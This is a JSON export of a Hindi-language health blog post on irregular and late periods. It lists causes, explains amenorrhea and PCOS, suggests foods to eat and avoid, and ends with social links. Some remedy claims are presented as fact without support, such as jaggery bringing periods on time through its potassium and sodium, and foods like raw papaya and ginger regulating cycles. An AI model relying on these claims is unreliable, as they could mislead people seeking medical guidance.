{"id":8929,"date":"2023-09-30T17:54:27","date_gmt":"2023-09-30T17:54:27","guid":{"rendered":"https:\/\/www.healthsrainbow.com\/blog\/?p=8929"},"modified":"2025-10-24T21:19:55","modified_gmt":"2025-10-24T21:19:55","slug":"3-4-%e0%a4%ae%e0%a4%b9%e0%a5%80%e0%a4%a8%e0%a5%87-%e0%a4%b8%e0%a5%87-%e0%a4%aa%e0%a5%80%e0%a4%b0%e0%a4%bf%e0%a4%af%e0%a4%a1-%e0%a4%a8%e0%a4%b9%e0%a5%80%e0%a4%82-%e0%a4%86%e0%a4%a8%e0%a5%87-%e0%a4%95","status":"publish","type":"post","link":"https:\/\/www.healthsrainbow.com\/blog\/2023\/09\/30\/3-4-%e0%a4%ae%e0%a4%b9%e0%a5%80%e0%a4%a8%e0%a5%87-%e0%a4%b8%e0%a5%87-%e0%a4%aa%e0%a5%80%e0%a4%b0%e0%a4%bf%e0%a4%af%e0%a4%a1-%e0%a4%a8%e0%a4%b9%e0%a5%80%e0%a4%82-%e0%a4%86%e0%a4%a8%e0%a5%87-%e0%a4%95\/","title":{"rendered":"Dealing with Irregular Periods: What You Need to Know"},"content":{"rendered":"<h1><\/h1>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-9570\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/34.jpg\" alt=\"3,4\" width=\"275\" height=\"183\" \/><\/p>\n<ul>\n<li>\u092e\u093e\u0938\u093f\u0915 \u0927\u0930\u094d\u092e \u092e\u0947\u0902 \u0926\u0947\u0930\u0940 \u0936\u093e\u0930\u0940\u0930\u093f\u0915 \u0914\u0930 \u092e\u093e\u0928\u0938\u093f\u0915 \u0924\u0928\u093e\u0935 \u0926\u094b\u0928\u094b\u0902 \u0915\u0940 \u0935\u091c\u0939 \u0938\u0947 \u0939\u094b \u0938\u0915\u0924\u0940 \u0939\u0948, \u092c\u0939\u0941\u0924 \u0924\u0928\u093e\u0935\u092a\u0942\u0930\u094d\u0923 \u0938\u094d\u0925\u093f\u0924\u093f\u092f\u094b\u0902 \u0915\u0940 \u0935\u091c\u0939 \u0938\u0947 \u092a\u0940\u0930\u093f\u092f\u0921 \u092e\u093f\u0938 \u0939\u094b\u0928\u093e \u0915\u094b\u0908 \u092c\u0921\u093c\u0940 \u092c\u093e\u0924 \u0928\u0939\u0940\u0902 \u0939\u0948. \u0939\u093e\u0932\u093e\u0902\u0915\u093f, \u0905\u0917\u0930 \u0906\u092a \u0932\u0902\u092c\u0947 \u0938\u092e\u092f \u0938\u0947 \u0924\u0928\u093e\u0935 \u092e\u0947\u0902 \u0939\u0948\u0902 \u0914\u0930 \u090f\u0915 \u0938\u0947 \u0905\u0927\u093f\u0915 \u092e\u0939\u0940\u0928\u0947 \u0924\u0915 \u0906\u092a\u0915\u094b \u092a\u0940\u0930\u093f\u092f\u0921 \u0928\u0939\u0940\u0902 \u0939\u0941\u090f \u0924\u094b \u0906\u092a\u0915\u094b \u0921\u0949\u0915\u094d\u091f\u0930 \u0938\u0947 \u0938\u0932\u093e\u0939 \u0932\u0947\u0928\u0940 \u091a\u093e\u0939\u093f\u090f<\/li>\n<li>\u0906\u092a \u091a\u093e\u0939\u0947\u0902 \u0924\u094b\u0935\u093f\u091f\u093e\u092e\u093f\u0928 C \u0938\u0947 \u092d\u0930\u092a\u0942\u0930 \u092b\u0932\u094b\u0902 \u0915\u094b \u0905\u0915\u0947\u0932\u0947 \u0928\u093e\u0936\u094d\u0924\u0947 \u092e\u0947\u0902 \u0916\u093e \u0938\u0915\u0924\u0940 \u0939\u0948\u0902 \u092f\u093e \u092b\u093f\u0930 \u0907\u0928\u0915\u093e \u0938\u0947\u0935\u0928 \u091c\u0942\u0938, \u0936\u0947\u0915 \u092f\u093e \u0938\u094d\u092e\u0942\u0926\u0940 \u0915\u0947 \u0930\u0942\u092a \u092e\u0947\u0902 \u0915\u0930 \u0938\u0915\u0924\u0940 \u0939\u0948\u0902.<\/li>\n<li>\u0905\u0928\u093f\u092f\u092e\u093f\u0924 \u092a\u0940\u0930\u093f\u092f\u0921\u094d\u0938 \u0938\u0947 \u091c\u0942\u091d \u0930\u0939\u0940 \u092e\u0939\u093f\u0932\u093e\u090f\u0902 \u0915\u0947 \u0932\u093f\u090f \u0917\u0941\u0921\u093c \u092d\u0940 \u092b\u093e\u092f\u0926\u0947\u092e\u0902\u0926 \u0938\u093e\u092c\u093f\u0924 \u0939\u094b \u0938\u0915\u0924\u093e \u0939\u0948. \u0915\u094d\u092f\u094b\u0902\u0915\u093f \u0907\u0938\u092e\u0947\u0902 \u092a\u094b\u091f\u0948\u0936\u093f\u092f\u092e \u0914\u0930 \u0938\u094b\u0921\u093f\u092f\u092e \u0939\u094b\u0924\u093e \u0939\u0948, \u091c\u093f\u0938\u0915\u093e \u0930\u094b\u091c\u093e\u0928\u093e \u0938\u0947\u0935\u0928 \u0915\u0930\u0928\u0947 \u0938\u0947 \u0906\u092a\u0915\u094b \u092a\u0940\u0930\u093f\u092f\u0921\u094d\u0938 \u0938\u092e\u092f \u092a\u0930 \u0932\u093e\u0928\u0947 \u092e\u0947\u0902 \u092e\u0926\u0926 \u092e\u093f\u0932\u0947\u0917\u0940<\/li>\n<\/ul>\n<h2><strong>\u092a\u0940\u0930\u093f\u092f\u0921\u094d\u0938<\/strong><strong>\u00a0<\/strong><strong>\u092e\u0947\u0902<\/strong> <strong>\u0926\u0947\u0930\u0940<\/strong> <strong>\u0915\u0947<\/strong><strong>\u00a0<\/strong><strong>\u0915\u093e\u0930\u0923 \u0915\u094d\u092f\u093e<\/strong> <strong>\u0939\u0948<\/strong><strong>?<\/strong><\/h2>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-9571\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/PERIO-300x264.jpg\" alt=\"PERIO\" width=\"300\" height=\"264\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/PERIO-300x264.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/PERIO.jpg 379w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<ul>\n<li>\u0924\u0928\u093e\u0935 \u0924\u0928\u093e\u0935\u00a0\u092a\u0940\u0930\u093f\u092f\u0921\u00a0\u092e\u093f\u0938 \u0939\u094b\u0928\u0947 \u0915\u0947\u00a0\u0915\u093e\u0930\u0923\u00a0\u092e\u0947\u0902 \u0938\u0947 \u090f\u0915 \u0939\u0948\u0902\u0964<\/li>\n<li>\u0915\u092e \u0935\u091c\u0928 \u091c\u093f\u0928 \u092e\u0939\u093f\u0932\u093e\u0913\u0902 \u0915\u093e \u0935\u091c\u0928 \u0915\u092e \u0939\u094b\u0924\u093e \u0939\u0948\u0902 \u0909\u0928\u0915\u0947\u00a0\u092a\u0940\u0930\u093f\u092f\u0921\u094d\u0938\u00a0\u0905\u0928\u093f\u092f\u092e\u093f\u0924 \u0939\u094b \u091c\u093e\u0924\u0947 \u0939\u0948\u0902\u0964<\/li>\n<li>\u0905\u0927\u093f\u0915 \u0935\u094d\u092f\u093e\u092f\u093e\u092e \u0915\u0930\u0928\u093e \u0936\u093e\u0930\u0940\u0930\u093f\u0915 \u0917\u0924\u093f\u0935\u093f\u0927\u093f \u091c\u094d\u092f\u093e\u0926\u093e \u0915\u0930 \u0932\u0947\u0928\u0947 \u0938\u0947\u00a0\u092a\u0940\u0930\u093f\u092f\u0921\u094d\u0938\u00a0\u092e\u0947\u0902 \u092f\u094b\u0917\u0926\u093e\u0928 \u0926\u0947\u0928\u0947 \u0935\u093e\u0932\u0947 \u0939\u093e\u0930\u094d\u092e\u094b\u0928 \u092a\u094d\u0930\u092d\u093e\u0935\u093f\u0924 \u0939\u094b \u091c\u093e\u0924\u0947 \u0939\u0948\u0902\u0964<\/li>\n<li>\u092e\u094b\u091f\u093e\u092a\u093e<\/li>\n<li>\u0930\u091c\u094b\u0928\u093f\u0935\u0943\u0924\u094d\u0924\u093f<\/li>\n<li>\u092c\u0930\u094d\u0925 \u0915\u0902\u091f\u094d\u0930\u094b\u0932<\/li>\n<li>\u0917\u0930\u094d\u092d\u093e\u0935\u0938\u094d\u0925\u093e<\/li>\n<li>\u0925\u093e\u092f\u0930\u093e\u0907\u0921<\/li>\n<\/ul>\n<h2><strong>\u092a\u0940\u0930\u093f\u092f\u0921<\/strong> <strong>\u0928\u093e<\/strong> <strong>\u0906\u0928\u0947<\/strong> <strong>\u092a\u0930<\/strong> <strong>\u0915\u094c\u0928<\/strong> <strong>\u0938\u0940<\/strong> <strong>\u092c\u0940\u092e\u093e\u0930\u0940<\/strong> <strong>\u0939\u094b\u0924\u0940<\/strong> <strong>\u0939\u0948<\/strong><strong>?<\/strong><\/h2>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-9572\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/WHICH-DRINK-PER-300x218.jpg\" alt=\"WHICH DRINK PER\" width=\"300\" height=\"218\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/WHICH-DRINK-PER-300x218.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/WHICH-DRINK-PER.jpg 444w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<ul>\n<li>\u090f\u092c\u094d\u0938\u0947\u0902\u091f \u092a\u0940\u0930\u093f\u092f\u0921\u094d\u0938\u0915\u094b \u090f\u092e\u0947\u0928\u094b\u0930\u093f\u092f\u093e \u0915\u0947 \u0928\u093e\u092e \u0938\u0947 \u092d\u0940 \u091c\u093e\u0928\u093e \u091c\u093e\u0924\u093e \u0939\u0948\u0964 \u092f\u0939 \u0910\u0938\u0940 \u0938\u094d\u0925\u093f\u0924\u093f \u0939\u094b\u0924\u0940 \u0939\u0948 \u091c\u092c \u092a\u0940\u0930\u093f\u092f\u0921\u094d\u0938 \u0928\u0949\u0930\u094d\u092e\u0932 \u0939\u094b\u0924\u0947 \u0939\u0948\u0902, \u0932\u0947\u0915\u093f\u0928 \u0915\u093f\u0938\u0940 \u092e\u0939\u0940\u0928\u0947 \u0905\u091a\u093e\u0928\u0915 \u0938\u0947 \u0906\u0928\u0947 \u092c\u0902\u0926 \u0939\u094b \u091c\u093e\u0924\u0947 \u0939\u0948\u0902\u0964<\/li>\n<li>\u092e\u0939\u093f\u0932\u093e \u092a\u094d\u0930\u0947\u0917\u094d\u0928\u0947\u0902\u091f \u0928\u0939\u0940\u0902 \u0939\u094b\u0924\u0940, \u0928 \u0939\u0940 \u092e\u0947\u0928\u094b\u092a\u0949\u091c \u0938\u094d\u091f\u0947\u091c \u092e\u0947\u0902 \u0939\u094b\u0924\u0940 \u0939\u0948, \u092c\u093e\u0935\u091c\u0942\u0926 \u0907\u0938\u0915\u0947 \u091c\u092c \u0909\u0938\u0947 \u092a\u0940\u0930\u093f\u092f\u0921\u094d\u0938 \u0928\u0939\u0940\u0902 \u0939\u094b\u0924\u0947, \u0924\u094b \u0909\u0938\u0947 \u090f\u092c\u094d\u0938\u0947\u0902\u091f \u092a\u0940\u0930\u093f\u092f\u0921\u094d\u0938 \u0915\u0939\u0924\u0947 \u0939\u0948\u0902\u0964 \u0915\u093f\u0924\u0928\u0947 \u0924\u0930\u0939 \u0915\u093e \u0939\u094b\u0924\u093e \u0939\u0948 \u090f\u092e\u0947\u0928\u094b\u0930\u093f\u092f\u093e?<\/li>\n<\/ul>\n<h2><strong>\u092a\u0940\u0930\u093f\u092f\u0921<\/strong> <strong>\u0930\u0947\u0917\u0941\u0932\u0930<\/strong> <strong>\u0915\u0930\u0928\u0947<\/strong> <strong>\u0915\u0947<\/strong> <strong>\u0932\u093f\u090f<\/strong> <strong>\u0915\u094d\u092f\u093e<\/strong> <strong>\u0916\u093e\u090f\u0902<\/strong><strong>?<\/strong><\/h2>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-9573\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/FOOD-300x225.png\" alt=\"FOOD\" width=\"300\" height=\"225\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/FOOD-300x225.png 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/FOOD.png 600w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<ul>\n<li>\u0906\u092a\u0915\u093e \u0906\u0939\u093e\u0930 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\u092e\u0926\u0926 \u0915\u0930 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902\u0964 \u0907\u0938\u092e\u0947\u0902 \u092e\u0941\u0916\u094d\u092f \u0930\u0942\u092a \u0938\u0947 \u0928\u093f\u092e\u094d\u0928 \u0936\u093e\u092e\u093f\u0932 \u0939\u0948\u0902:<\/li>\n<\/ul>\n<ul>\n<li>\u0905\u0926\u0930\u0915<\/li>\n<li>\u0915\u091a\u094d\u091a\u093e \u092a\u092a\u0940\u0924\u093e<\/li>\n<li>\u0926\u093e\u0932\u091a\u0940\u0928\u0940<\/li>\n<li>\u090f\u0932\u094b\u0935\u093f\u0930\u093e<\/li>\n<li>\u0939\u0932\u094d\u0926\u0940<\/li>\n<li>\u0905\u0928\u0928\u094d\u0928\u093e\u0938<\/li>\n<li>\u0905\u091c\u092e\u094b\u0926<\/li>\n<\/ul>\n<h2>\u0905\u0928\u093f\u092f\u092e\u093f\u0924 \u092a\u0940\u0930\u093f\u092f\u0921\u094d\u0938 \u092e\u0947\u0902 \u0915\u094d\u092f\u093e \u0928\u0939\u0940\u0902 \u0916\u093e\u0928\u093e \u091a\u093e\u0939\u093f\u090f?<\/h2>\n<h3>\u00a0<img decoding=\"async\" loading=\"lazy\" class=\"alignnone  wp-image-9574\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/PN-300x277.jpg\" alt=\"PN\" width=\"213\" height=\"197\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/PN-300x277.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/PN.jpg 436w\" sizes=\"(max-width: 213px) 100vw, 213px\" \/><\/h3>\n<ul>\n<li>\u092a\u0940\u0930\u093f\u092f\u0921\u094d\u0938 \u0905\u0928\u093f\u092f\u092e\u093f\u0924 \u0939\u094b\u0928\u0947 \u092a\u0930 \u092e\u0915\u094d\u0916\u0928, \u0915\u094d\u0930\u0940\u092e, \u092c\u0947\u0915\u0928 \u0914\u0930 \u0906\u0932\u0942 \u091a\u093f\u092a\u094d\u0938 \u091c\u0948\u0938\u0947 \u0938\u0902\u0924\u0943\u092a\u094d\u0924 \u0935\u0938\u093e \u0938\u0947 \u092c\u091a\u0947\u0902; \u0928\u092e\u0915 \u0914\u0930 \u0915\u0948\u092b\u0940\u0928 \u0915\u094b \u0938\u0940\u092e\u093f\u0924 \u0915\u0930\u0947\u0902\u0964<\/li>\n<\/ul>\n<h3><\/h3>\n<h2>\u0932\u0947\u091f \u092a\u0940\u0930\u093f\u092f\u0921 \u0915\u092c \u092e\u093f\u0938\u094d\u0921 \u092a\u0940\u0930\u093f\u092f\u0921 \u092c\u0928 \u091c\u093e\u0924\u093e \u0939\u0948?<\/h2>\n<h3>\u00a0<img decoding=\"async\" loading=\"lazy\" class=\"alignnone  wp-image-9575\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/LATE-PERIOD-300x251.jpg\" alt=\"LATE PERIOD\" width=\"244\" height=\"204\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/LATE-PERIOD-300x251.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/LATE-PERIOD.jpg 493w\" sizes=\"(max-width: 244px) 100vw, 244px\" \/><\/h3>\n<ul>\n<li>\u0926\u0947\u0930\u0940 \u0938\u0947 \u092a\u0940\u0921\u093f\u092f\u093e\u0926 \u0906\u0928\u0947 \u0915\u093e \u092e\u0924\u0932\u092c \u0939\u0948 \u0915\u093f \u092f\u0939 \u0909\u0938 \u0926\u093f\u0928 \u0938\u0947 5 \u092f\u093e \u0909\u0938\u0938\u0947 \u0905\u0927\u093f\u0915 \u0926\u093f\u0928 \u092c\u093e\u0926 \u0936\u0941\u0930\u0942 \u0928\u0939\u0940\u0902 \u0939\u0941\u0906 \u0939\u0948 \u091c\u093f\u0938 \u0926\u093f\u0928 \u0906\u092a\u0928\u0947 \u0907\u0938\u0915\u0947 \u0936\u0941\u0930\u0942 \u0939\u094b\u0928\u0947 \u0915\u0940 \u0909\u092e\u094d\u092e\u0940\u0926 \u0915\u0940 \u0925\u0940\u0964<\/li>\n<li>\u092e\u093f\u0938\u094d\u0921 \u092a\u0940\u0930\u093f\u092f\u0921 \u0915\u093e \u092e\u0924\u0932\u092c \u0939\u0948 \u0915\u093f \u0906\u092a\u0915\u0940 \u0906\u0916\u093f\u0930\u0940 \u0905\u0935\u0927\u093f \u0915\u0940 \u0936\u0941\u0930\u0941\u0906\u0924 \u0915\u0947 \u092c\u093e\u0926 6 \u092f\u093e \u0905\u0927\u093f\u0915 \u0939\u092b\u094d\u0924\u094b\u0902 \u0924\u0915 \u0906\u092a\u0915\u0947 \u092e\u093e\u0938\u093f\u0915 \u0927\u0930\u094d\u092e \u0915\u093e \u092a\u094d\u0930\u0935\u093e\u0939 \u0928\u0939\u0940\u0902 \u0939\u0941\u0906 \u0939\u0948\u0964<\/li>\n<\/ul>\n<p><strong>\u00a0<\/strong><\/p>\n<h2>\u0905\u0928\u093f\u092f\u092e\u093f\u0924 \u092a\u0940\u0930\u093f\u092f\u0921\u094d\u0938 \u0938\u0947 \u0915\u094c\u0928 \u0938\u093e \u0930\u094b\u0917 \u0939\u094b\u0924\u093e \u0939\u0948?<\/h2>\n<h3>\u00a0<img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-9577\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/PERION-300x200.jpg\" alt=\"PERION\" width=\"300\" height=\"200\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/PERION-300x200.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/PERION.jpg 600w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/h3>\n<ul>\n<li>\u0905\u0928\u093f\u092f\u092e\u093f\u0924 \u092a\u0940\u0930\u093f\u092f\u0921\u094d\u0938 \u0938\u0947 \u0905\u0928\u0947\u0915 \u0930\u094b\u0917 \u0939\u094b\u0924\u0947 \u0939\u0948\u0902 \u091c\u093f\u0938\u092e\u0947\u0902 \u092e\u0941\u0916\u094d\u092f \u0930\u0942\u092a \u0938\u0947 \u092a\u0940\u0938\u0940\u0913\u090f\u0938 \u0936\u093e\u092e\u093f\u0932 \u0939\u0948\u0964 \u092a\u0949\u0932\u0940\u0938\u093f\u0938\u094d\u091f\u093f\u0915 \u0913\u0935\u0930\u0940 \u0938\u093f\u0902\u0921\u094d\u0930\u094b\u092e \u092e\u0947\u0902, \u0906\u092a\u0915\u0947 \u0905\u0902\u0921\u093e\u0936\u092f \u092c\u0921\u093c\u0940 \u092e\u093e\u0924\u094d\u0930\u093e \u092e\u0947\u0902 \u090f\u0923\u094d\u0921\u094d\u0930\u094b\u091c\u0928 \u092c\u0928\u093e\u0924\u0947 \u0939\u0948\u0902, \u091c\u094b \u090f\u0915 \u092a\u094d\u0930\u0915\u093e\u0930 \u0915\u093e \u0939\u093e\u0930\u094d\u092e\u094b\u0928 \u0939\u0948\u0964<\/li>\n<li>\u092f\u0939 \u0939\u093e\u0930\u094d\u092e\u094b\u0928 \u0913\u0935\u094d\u092f\u0942\u0932\u0947\u0936\u0928 \u0915\u094b \u0930\u094b\u0915\u0924\u093e \u092f\u093e \u0926\u0947\u0930\u0940 \u0915\u0930\u0924\u093e \u0939\u0948, \u091c\u093f\u0938\u0938\u0947 \u0905\u0928\u093f\u092f\u092e\u093f\u0924 \u092a\u0940\u0930\u093f\u092f\u0921\u094d\u0938 \u0939\u094b\u0924\u0947 \u0939\u0948\u0902\u0964 \u092a\u0940\u0938\u0940\u0913\u090f\u0938 \u0938\u0947 \u092a\u0940\u0921\u093c\u093f\u0924 \u092e\u0939\u093f\u0932\u093e\u0913\u0902 \u0915\u093e \u092e\u093e\u0938\u093f\u0915 \u0927\u0930\u094d\u092e \u092a\u0942\u0930\u0940 \u0924\u0930\u0939 \u0938\u0947 \u092c\u0902\u0926 \u0939\u094b \u0938\u0915\u0924\u093e \u0939\u0948\u0964<\/li>\n<\/ul>\n<p><strong>\u00a0<\/strong><\/p>\n<h2>\u0905\u0928\u093f\u092f\u092e\u093f\u0924 \u092a\u0940\u0930\u093f\u092f\u0921 \u0915\u093f\u0924\u0928\u0947 \u0926\u093f\u0928 \u0915\u0947 \u0939\u094b\u0924\u0947 \u0939\u0948\u0902?<\/h2>\n<h3>\u00a0<img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-9578\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/KITNE-PER-300x168.jpg\" alt=\"KITNE PER\" width=\"300\" height=\"168\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/KITNE-PER-300x168.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/KITNE-PER.jpg 370w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/h3>\n<ul>\n<li>\u092e\u093e\u0938\u093f\u0915 \u0927\u0930\u094d\u092e \u0906\u092e\u0924\u094c\u0930 \u092a\u0930 \u091a\u093e\u0930 \u0938\u0947 \u0938\u093e\u0924 \u0926\u093f\u0928\u094b\u0902 \u0924\u0915 \u0930\u0939\u0924\u093e \u0939\u0948 \u0914\u0930 \u0932\u0917\u092d\u0917 \u0939\u0930 28 \u0926\u093f\u0928\u094b\u0902 \u092e\u0947\u0902 \u0939\u094b\u0924\u093e \u0939\u0948\u0964 \u0905\u0928\u093f\u092f\u092e\u093f\u0924 \u092e\u093e\u0938\u093f\u0915 \u0927\u0930\u094d\u092e \u0915\u0947 \u0909\u0926\u093e\u0939\u0930\u0923\u094b\u0902 \u092e\u0947\u0902 \u0910\u0938\u0940 \u0905\u0935\u0927\u093f\u092f\u093e\u0901 \u0936\u093e\u092e\u093f\u0932 \u0939\u0948\u0902<\/li>\n<li>\u091c\u094b 21 \u0926\u093f\u0928\u094b\u0902 \u0938\u0947 \u0915\u092e \u092f\u093e 35 \u0926\u093f\u0928\u094b\u0902 \u0938\u0947 \u0905\u0927\u093f\u0915 \u0939\u094b\u0924\u0940 \u0939\u0948\u0902, \u0932\u0917\u093e\u0924\u093e\u0930 \u0924\u0940\u0928 \u092f\u093e \u0905\u0927\u093f\u0915 \u092e\u093e\u0938\u093f\u0915 \u0927\u0930\u094d\u092e \u0928\u0939\u0940\u0902 \u0939\u094b\u0928\u093e, \u0914\u0930 \u092e\u093e\u0938\u093f\u0915 \u0927\u0930\u094d\u092e \u092a\u094d\u0930\u0935\u093e\u0939 \u091c\u094b \u0938\u093e\u092e\u093e\u0928\u094d\u092f \u0938\u0947 \u0905\u0927\u093f\u0915 \u092d\u093e\u0930\u0940 \u092f\u093e \u0939\u0932\u094d\u0915\u093e \u0939\u094b\u0924\u093e \u0939\u0948\u0964<\/li>\n<\/ul>\n<h2>\u092a\u0940\u0930\u093f\u092f\u0921 \u0915\u093f\u0924\u0928\u0947 \u0926\u093f\u0928\u094b\u0902 \u0924\u0915 \u0932\u0947\u091f \u0939\u094b \u0938\u0915\u0924\u093e \u0939\u0948?<\/h2>\n<h3>\u00a0<img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-9579\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/PPP-300x169.jpg\" alt=\"PPP\" width=\"300\" height=\"169\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/PPP-300x169.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/09\/PPP.jpg 768w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/h3>\n<ul>\n<li>\u092f\u0926\u093f \u0906\u092a\u0915\u0947 \u092e\u093e\u0938\u093f\u0915 \u0927\u0930\u094d\u092e \u091a\u0915\u094d\u0930 \u0915\u094b \u092a\u094d\u0930\u092d\u093e\u0935\u093f\u0924 \u0915\u0930\u0928\u0947 \u0935\u093e\u0932\u0940 \u0915\u094b\u0908 \u091c\u094d\u091e\u093e\u0924 \u0938\u094d\u0925\u093f\u0924\u093f \u0928\u0939\u0940\u0902 \u0939\u0948, \u0924\u094b \u0906\u092a\u0915\u0940 \u0905\u0935\u0927\u093f \u0906\u092a\u0915\u0947 \u0938\u093e\u092e\u093e\u0928\u094d\u092f \u091a\u0915\u094d\u0930 \u0915\u0947 \u0906\u0927\u093e\u0930 \u092a\u0930, \u0906\u092a\u0915\u0940 \u0905\u0902\u0924\u093f\u092e \u0905\u0935\u0927\u093f \u0915\u0947 21 \u0938\u0947 35 \u0926\u093f\u0928\u094b\u0902 \u0915\u0947 \u092d\u0940\u0924\u0930 \u0936\u0941\u0930\u0942 \u0939\u094b \u091c\u093e\u0928\u0940 \u091a\u093e\u0939\u093f\u090f\u0964 \u0928\u093f\u092f\u092e\u093f\u0924 \u0905\u0935\u0927\u093f \u092d\u093f\u0928\u094d\u0928 \u0939\u094b \u0938\u0915\u0924\u0940 \u0939\u0948\u0964<\/li>\n<li>\u092f\u0926\u093f \u0906\u092a\u0915\u093e \u0928\u093f\u092f\u092e\u093f\u0924 \u091a\u0915\u094d\u0930 28 \u0926\u093f\u0928\u094b\u0902 \u0915\u093e \u0939\u0948 \u0914\u0930 29\u0935\u0947\u0902 \u0926\u093f\u0928 \u092d\u0940 \u0906\u092a\u0915\u0940 \u0905\u0935\u0927\u093f \u0928\u0939\u0940\u0902 \u0939\u0941\u0908 \u0939\u0948, \u0924\u094b \u0906\u092a\u0915\u0940 \u0905\u0935\u0927\u093f \u0915\u094b \u0906\u0927\u093f\u0915\u093e\u0930\u093f\u0915 \u0924\u094c\u0930 \u092a\u0930 \u0926\u0947\u0930 \u0938\u0947 \u092e\u093e\u0928\u093e \u091c\u093e\u0924\u093e \u0939\u0948\u0964<\/li>\n<\/ul>\n<p><strong>For more information Visit us :<\/strong><\/p>\n<p>Website: <a href=\"https:\/\/www.youtube.com\/redirect?event=video_description&amp;redir_token=QUFFLUhqa2VQQWdHYURCNlk3SkVlUTFCSmh4UmlPNXlRd3xBQ3Jtc0ttaXE0b0t1ckw2SGFuQm41dDBqajRMLXk4UTRHeGNPRjM0azBjQW1WYmZuZ1Y1VVZNVXVDbHpSSWJfVnVJN3Y2QkVDQU9WNG5HbF81a2E0X2RSc1VfR3dUR2Y5cEFFRnltVTBNU3JGTnpQeE5iOWd5OA&amp;q=http%3A%2F%2Fwww.healthsrainbow.com%2F&amp;v=wPm8FUPYWn4\">http:\/\/www.healthsrainbow.com\/<\/a><\/p>\n<p>Website Blog: <a href=\"https:\/\/www.healthsrainbow.com\/blog\/\">https:\/\/www.healthsrainbow.com\/blog\/<\/a><\/p>\n<p>Subscriber: <a href=\"https:\/\/www.youtube.com\/@healthsrainbow4897\">https:\/\/www.youtube.com\/@healthsrainbow4897<\/a><\/p>\n<p>Facebook Page: <a href=\"https:\/\/www.facebook.com\/profile.php?id=100087738795787\">https:\/\/www.facebook.com\/profile.php?id=100087738795787<\/a><\/p>\n<p>Facebook Main Page: <a href=\"https:\/\/www.facebook.com\/profile.php?id=100072657459686\">https:\/\/www.facebook.com\/profile.php?id=100072657459686<\/a><\/p>\n<p>Instagram: <a href=\"https:\/\/www.instagram.com\/healthsrainbow\/\">https:\/\/www.instagram.com\/healthsrainbow\/<\/a><\/p>\n<p>Twitter: <a href=\"https:\/\/twitter.com\/healths_rainbow\">https:\/\/twitter.com\/healths_rainbow<\/a><\/p>\n<p><strong>RELATED VIDEO :<\/strong><\/p>\n<div id=\"hover-overlays\" class=\"style-scope ytd-thumbnail\">\n<div id=\"label-container\" class=\"style-scope ytd-thumbnail-overlay-toggle-button-renderer\">\n<ol>\n<li id=\"label\" class=\"style-scope ytd-thumbnail-overlay-toggle-button-renderer\">how long can the period be late :\u00a0<a href=\"https:\/\/www.youtube.com\/watch?v=qPvHhfQcJpw\">https:\/\/www.youtube.com\/watch?v=qPvHhfQcJpw<\/a><\/li>\n<li class=\"style-scope ytd-thumbnail-overlay-toggle-button-renderer\">how much blood should come in period :\u00a0<a href=\"https:\/\/www.youtube.com\/watch?v=julSZUb181s\">https:\/\/www.youtube.com\/watch?v=julSZUb181s<\/a><\/li>\n<li class=\"style-scope ytd-thumbnail-overlay-toggle-button-renderer\">light bleeding in periods :\u00a0<a href=\"https:\/\/www.youtube.com\/watch?v=i4l-ZO_8EtM\">https:\/\/www.youtube.com\/watch?v=i4l-ZO_8EtM<\/a><\/li>\n<\/ol>\n<\/div>\n<\/div>\n<p><strong>RELATED ARTICLE :<\/strong><\/p>\n<ol>\n<li>benefits of liquorice :\u00a0<a 